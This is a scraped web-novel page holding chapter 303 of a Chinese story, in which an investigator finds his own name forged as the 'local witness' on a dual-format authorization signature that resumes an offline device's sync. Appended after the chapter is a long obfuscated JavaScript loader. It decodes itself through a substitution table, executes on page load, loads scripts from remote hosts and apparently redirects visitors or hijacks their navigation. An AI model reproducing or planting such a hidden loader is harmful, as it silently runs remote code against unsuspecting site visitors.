首页
第303章 请不要把见证人解
返回
关灯 护眼:关 字号:小

第303章 请不要把见证人解释成验证码

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第303章请不要把见证人解释成验证码(第1/2页)
    “不是报错。”
    技术员的手指悬在键盘上,声音像卡了根鱼刺:“三号设备一直在等一个授权——`local_witness_authorization`。”
    赵星弯着腰盯着屏幕,那串字段在日志里反复刷新,每隔三秒跳一次,像有人在敲门,敲了四十七秒,没人开。他直起身,转头看向门口的天衡宗执事。
    “本地见证授权?”
    执事的手指在袖口里动了一下:“传统流程。使馆区备案的时候,天衡宗要求所有设备在离线状态下必须经过本地见证人确认,才能继续同步。”
    “为什么备案的时候没写?”
    “写了。在附录第七节,仪轨说明部分。”
    赵星深吸一口气,转向技术员:“把附录第七节调出来。”
    技术员敲了几下键盘,屏幕切换到一份文档。赵星扫了一眼——密密麻麻的文言裹着联邦技术术语,像两套语言在打架。第七节标题写着“离线同步与本地见证仪轨”,正文里确实提到了见证人授权,但表述模糊得像在写诗。
    “本地见证人指谁?”
    执事微微抬了抬下巴:“通常由使馆区的天衡宗记录弟子担任。”
    “通常?”
    “某些仪式需要更高阶的见证人,但离线同步只是技术流程,记录弟子足够。”
    赵星盯着执事的眼睛看了三秒,然后转向技术员:“继续拆字段。我要知道这个授权调用了什么底层权限。”
    技术员的手指开始在键盘上飞舞。屏幕上的日志一层层展开,像剥洋葱——先是应用层,然后是系统层,再往下是硬件层。每一层都显示同一个请求:`local_witness_authorization`。
    但第三层开始,字段变了。
    “等一下。”技术员的声音压低了,“这个授权请求的来源不是三号设备本身。”
    “什么意思?”
    “它……它是从外面进来的。”技术员指着屏幕上一行不起眼的元数据,“你看这里——请求来源标记不是本地进程,而是外部设备回弹。像有人把请求从外面推了进来。”
    赵星感觉后颈的汗毛竖了起来。
    “离线状态,断网,断灵网,请求从外面推进来?”
    技术员咽了口唾沫:“从记录弟子的日志盘。”
    测试室里的空气像被人抽走了一层。所有人的目光都转向站在门口的记录弟子——他捧着日志盘,双手微微发抖,手套上的符文安安静静。
    “把日志盘放到隔离台。”赵星的声音很平静。
    记录弟子看向执事,执事点了点头。
    他往前走了一步,两步,三步,走到测试室中央的隔离台前,把手里的日志盘轻轻放下。手套离开日志盘的那一刻,赵星注意到一个细节——
    手套的纹路没有立刻暗下去。
    银线在指尖停留了半秒,像余烬,然后才缓缓消失。
    “后退。”赵星说,“所有人后退半步。”
    天衡宗执事往后退了半步。技术员往后挪了半步。联邦安保组长后退半步。记录弟子也往后退——
    但他退的不是半步。
    他退了三步。
    赵星还没来得及开口,就看到记录弟子的脚在地上踩出一个奇怪的轨迹——左前,右后,左后,右前。四步走完,他和另外两名天衡宗弟子站成了一个标准的北斗形。
    测试室里安静了三秒。
    “你们在干什么?”赵星问。
    执事的表情有些尴尬:“阵位。天衡宗弟子在不确定的情况下,会自动站成护法阵形。”
    “这不是消防演练。”赵星说,“我现在要求你们——”
    “赵组长。”执事打断了他,“见证不是验证码。你不能把一个仪式拆成字段来理解。”
    “那你能不能把一个字段拆成仪式来理解?”
    执事愣了一下。
    赵星走到隔离台前,指了指日志盘:“你的记录弟子说,他从未授权任何设备。你的附录说,见证人是传统流程。但我的设备说,它收到了一个来自日志盘的回弹请求。这三件事不可能同时成立,除非——”
    “除非什么?”
    “除非见证人不是一个角色,而是一个权限入口。”
    执事的脸色变了一下。
    赵星没有等他回答,转向技术员:“把三号设备的授权请求再调出来,拆到最底层。我要看它调用的是哪个证书。”
    技术员的手指开始敲键盘。屏幕上的日志一层一层往下剥,像在拆一个越来越小的盒子。最后一层出现在屏幕底部——
    不是联邦证书。
    不是天衡宗证书。
    是一个双格式签名,左边是联邦离线证书的编码规则,右边是天衡宗誓印的符文结构,像两套系统在同一个文件里握手。
    “这是什么?”赵星问。
    技术员盯着屏幕,额头上开始冒汗:“我没见过这种格式。它同时符合两套系统的校验规则,但……但它不属于任何一套。”
    “能校验通过吗?”
    “理论上能。因为联邦系统只认左边,天衡宗系统只认右边,两边都能通过——”
    “但两边都不承认它是自己的。”
    技术员点了点头。
    测试室里的温度好像降了两度。赵星盯着那个双格式签名,脑子里飞速转动。有人提前写了一个同时被两套系统承认的授权文件,把它塞进了三号设备的离线同步流程里。然后让一个记录弟子的日志盘作为回弹通道,在断网状态下把授权请求推回来。
    这不是故障。
    不是传统流程。
    是有人预先埋好的见证权限。
    “赵组长。”技术员的声音忽然变了调,“三号设备的进度条动了。”
    赵星猛地转头看向主屏。
    进度条从百分之三跳到了百分之四。屏幕上弹出一行提示——`本地见证已响应`。
    “谁响应了?”赵星问。
    技术员的手指在键盘上敲了几下,打开授权日志。一行字出现在屏幕中央——
    `授权人:本地见证人`
    `授权签名:校验通过`
    `签名来源:记录弟子日志盘(物理隔离状态)`
    “日志盘在隔离台上,没有连接任何网络。”技术员的声音发抖,“但它刚才签了一个授权。”
    (本章未完,请点击下一页继续阅读)第303章请不要把见证人解释成验证码(第2/2页)
    赵星盯着那行字,感觉有什么东西在脑子里咔哒一声响了。
    “导出签名。”他说,“完整导出。”
    技术员开始操作。屏幕上的进度条继续跳动——百分之五,百分之六,百分之七。三号设备正在恢复同步,但赵星已经没有心思看进度了。他的目光钉在那个授权签名上。
    签名在屏幕上一行一行展开,像一个正在拆开的信封。
    第一行:签名格式验证通过。
    第二行:签名时间戳与三号设备请求时间一致。
    第三行:签名者身份——第一本地见证人。
    赵星。
    测试室里安静得能听见空调的风声。
    “赵组长,”技术员的声音像从很远的地方传来,“签名上的见证人是你的名字。”
    赵星盯着屏幕,没有说话。
    记录弟子站在北斗阵形里,手套上的银线忽然亮了一下,又暗了。三号设备的进度条跳到百分之十一,继续往前爬。
    执事的脸色已经白得像纸:“这不可能。签名必须是现场人员,赵组长不是天衡宗的人,不可能获得见证权限——”
    “那你告诉我,”赵星的声音很平静,“是谁用我的名字签了这个授权?”
    执事的嘴张了一下,合上了。
    技术员的手指悬在键盘上,不敢动。联邦安保组长的手已经按在通讯器上,随时准备呼叫支援。
    三号设备的屏幕继续跳动——百分之十五,百分之十七,百分之十九。
    同步在恢复。
    但赵星知道,真正的问题不是设备为什么卡在百分之三,而是——
    为什么一个不在现场、不属于天衡宗、理论上没有任何见证权限的人,会出现在这个授权签名里。
    “把一号设备和二号设备的同段日志拉出来。”赵星说,“交叉比对。”
    技术员开始操作。屏幕分成三个窗口,三台设备的日志同时滚动。一号设备显示无授权记录,二号设备显示授权被遮蔽,只有三号设备完整保留了签名。
    “二号设备的授权被谁遮蔽了?”
    技术员调出元数据:“遮蔽记录显示……授权人自己。”
    “什么意思?”
    “授权人在签署之后,主动遮蔽了自己的身份。”技术员指着屏幕上一行小字,“只有三号设备因为卡在离线同步状态,避开了遮蔽指令,保留了完整签名。”
    赵星盯着那行小字,脑子里闪过一个念头。
    “签名里还有没有其他信息?”
    技术员把签名展开到最底层。屏幕底部出现一行字,字体比上面的小一号,像被刻意隐藏——
    `授权节点:使馆区旧施工期本地节点(编号:EMB-OLD-03)`
    “旧施工期?”赵星问,“什么时候的施工期?”
    技术员查了一下:“联邦使馆区刚建的时候。这个节点在正式移交前就废弃了,理论上不存在于当前网络拓扑中。”
    “理论上不存在,但签名里出现了。”
    技术员点了点头。
    赵星转过身,看向执事:“使馆区旧施工期的节点,谁能访问?”
    执事的表情已经失去了所有从容:“只有当年参与施工的人……但那些人早就撤走了。”
    “记录弟子当年在吗?”
    “不在。他才入门三年。”
    “那你告诉我,”赵星的声音很轻,但每个字都像钉子钉在地上,“一个废弃节点,一个三年的新弟子,一个不在场的见证人——这三样东西,是怎么在同一份授权签名里凑到一起的?”
    执事没有回答。
    三号设备的进度条跳到百分之二十三,屏幕上忽然弹出一条新消息——
    `授权签名补全完成`
    `第一本地见证人:赵星`
    `见证人编号:未登记`
    `见证人状态:不在现场`
    最后四个字在屏幕上亮着,像一个笑话。
    赵星盯着那四个字,忽然笑了。
    “有意思。”他说,“一个不在现场的人,签了一个不在系统里的授权,通过一个废弃节点,让一台断网的设备恢复了同步。”
    他转过头,看向记录弟子:“你的手套刚才又亮了一下。”
    记录弟子的脸已经白得像纸:“我没……我没做任何事。”
    “你不需要做任何事。”赵星说,“有人借你的身份签了字。”
    测试室里的空气像凝固了一样。三号设备的进度条继续跳动——百分之二十七,百分之二十九,百分之三十一。
    同步在恢复。
    但赵星知道,真正的问题才刚刚开始。
    一个不存在的见证人,用他的名义,在一个废弃的节点上,签了一份同时被两套系统承认的授权。
    这意味着——
    有人在他不知道的情况下,把他写进了天衡宗的见证系统。
    “技术员,”赵星说,“把这份签名封存。一式三份,一份给联邦,一份给天衡宗,一份我自己留着。”
    技术员开始操作。
    赵星走到隔离台前,看着那个安静的日志盘,又看了一眼记录弟子手套上残余的银线。
    “明天,”他说,“我们查一下,是谁在施工期结束之后,还保留着那个旧节点的访问权限。”
    执事的脸色彻底变了。
    三号设备的进度条跳到百分之四十一,屏幕上的授权签名依然亮着——第一本地见证人,赵星,不在现场。
    门外忽然传来一阵脚步声。
    联邦安保组长按着通讯器听了几秒,脸色也变了:“赵组长,使馆区外围系统检测到异常访问——”
    “什么异常?”
    “有人在用旧施工期的节点,往使馆区系统里写数据。”
    赵星闭上眼睛,深吸一口气。
    “写什么?”
    “写见证人名单。”
    安保组长的声音像在念一份判决书:“名单第一页,第一个名字——赵星。编号未登记。状态——”
    “不在现场。”赵星替他说完了。
    屏幕上的授权签名闪了一下,像在确认什么。
    三号设备的进度条跳到百分之五十三。
    同步还在继续。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();